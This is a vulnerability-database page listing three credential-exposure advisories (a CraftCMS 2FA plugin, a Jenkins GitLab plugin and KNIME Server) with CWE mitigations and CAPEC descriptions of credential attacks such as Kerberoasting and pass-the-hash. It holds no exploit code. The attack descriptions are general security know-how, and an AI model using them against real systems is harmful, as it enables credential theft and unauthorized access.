Vulnerability from github – Published: 2024-06-06 12:30 – Updated: 2024-06-10 20:22The CraftCMS plugin Two-Factor Authentication in versions 3.3.1, 3.3.2 and 3.3.3 discloses the password hash of the currently authenticated user after submitting a valid TOTP.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "born05/craft-twofactorauthentication"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.1"
},
{
"fixed": "3.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5657"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T19:13:50Z",
"nvd_published_at": "2024-06-06T11:15:49Z",
"severity": "LOW"
},
"details": "The CraftCMS plugin Two-Factor Authentication in versions 3.3.1, 3.3.2 and 3.3.3 discloses the password hash of the currently authenticated user after submitting a valid TOTP.",
"id": "GHSA-3p4x-grpm-xw58",
"modified": "2024-06-10T20:22:12Z",
"published": "2024-06-06T12:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5657"
},
{
"type": "WEB",
"url": "https://github.com/born05/craft-twofactorauthentication/commit/eb93bcb73037171dae8ca5cfa4c20e7e5748b73a"
},
{
"type": "PACKAGE",
"url": "https://github.com/born05/craft-twofactorauthentication"
},
{
"type": "WEB",
"url": "https://github.com/born05/craft-twofactorauthentication/releases/tag/3.3.4"
},
{
"type": "WEB",
"url": "https://github.com/sbaresearch/advisories/tree/public/2024/SBA-ADV-20240202-01_CraftCMS_Plugin_Two-Factor_Authentication_Password_Hash_Disclosure"
},
{
"type": "WEB",
"url": "https://plugins.craftcms.com/two-factor-authentication?craft4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/06/06/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Password hash exposed in CraftCMS two factor authentication plugin"
}
GHSA-3P8R-P4Q5-MC44
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2023-02-23 20:31Violation Comments to GitLab Plugin stored API tokens unencrypted in job config.xml files and its global configuration file org.jenkinsci.plugins.jvctgl.ViolationsToGitLabGlobalConfiguration.xml on the Jenkins controller. These credentials could be viewed by users with Extended Read permission, or access to the Jenkins controller file system.
Violation Comments to GitLab Plugin now stores these credentials encrypted. Existing jobs need to have their configuration saved for existing plain text credentials to be overwritten.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:violation-comments-to-gitlab"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.29"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10416"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-23T20:31:42Z",
"nvd_published_at": "2019-09-25T16:15:00Z",
"severity": "MODERATE"
},
"details": "Violation Comments to GitLab Plugin stored API tokens unencrypted in job `config.xml` files and its global configuration file `org.jenkinsci.plugins.jvctgl.ViolationsToGitLabGlobalConfiguration.xml` on the Jenkins controller. These credentials could be viewed by users with Extended Read permission, or access to the Jenkins controller file system.\n\nViolation Comments to GitLab Plugin now stores these credentials encrypted. Existing jobs need to have their configuration saved for existing plain text credentials to be overwritten.",
"id": "GHSA-3p8r-p4q5-mc44",
"modified": "2023-02-23T20:31:42Z",
"published": "2022-05-24T16:56:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10416"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/violation-comments-to-gitlab-plugin/commit/e8237a803012bae7773d8bd10fe02e21892be3fe"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1577"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/09/25/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Violation Comments to GitLab Plugin has Insufficiently Protected Credentials"
}
GHSA-3PCX-VGX2-J88M
Vulnerability from github – Published: 2021-12-17 00:00 – Updated: 2023-08-08 15:31KNIME Server before 4.12.6 and 4.13.x before 4.13.4 (when installed in unattended mode) keeps the administrator's password in a file without appropriate file access controls, allowing all local users to read its content.
{
"affected": [],
"aliases": [
"CVE-2021-45097"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-16T05:15:00Z",
"severity": "MODERATE"
},
"details": "KNIME Server before 4.12.6 and 4.13.x before 4.13.4 (when installed in unattended mode) keeps the administrator\u0027s password in a file without appropriate file access controls, allowing all local users to read its content.",
"id": "GHSA-3pcx-vgx2-j88m",
"modified": "2023-08-08T15:31:25Z",
"published": "2021-12-17T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45097"
},
{
"type": "WEB",
"url": "https://github.com/dawid-czarnecki/public-vulnerabilities/tree/master/KNIME/CVE-weak-file-permission"
},
{
"type": "WEB",
"url": "https://zigrin.com/advisories/knime-server-weak-file-permissions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.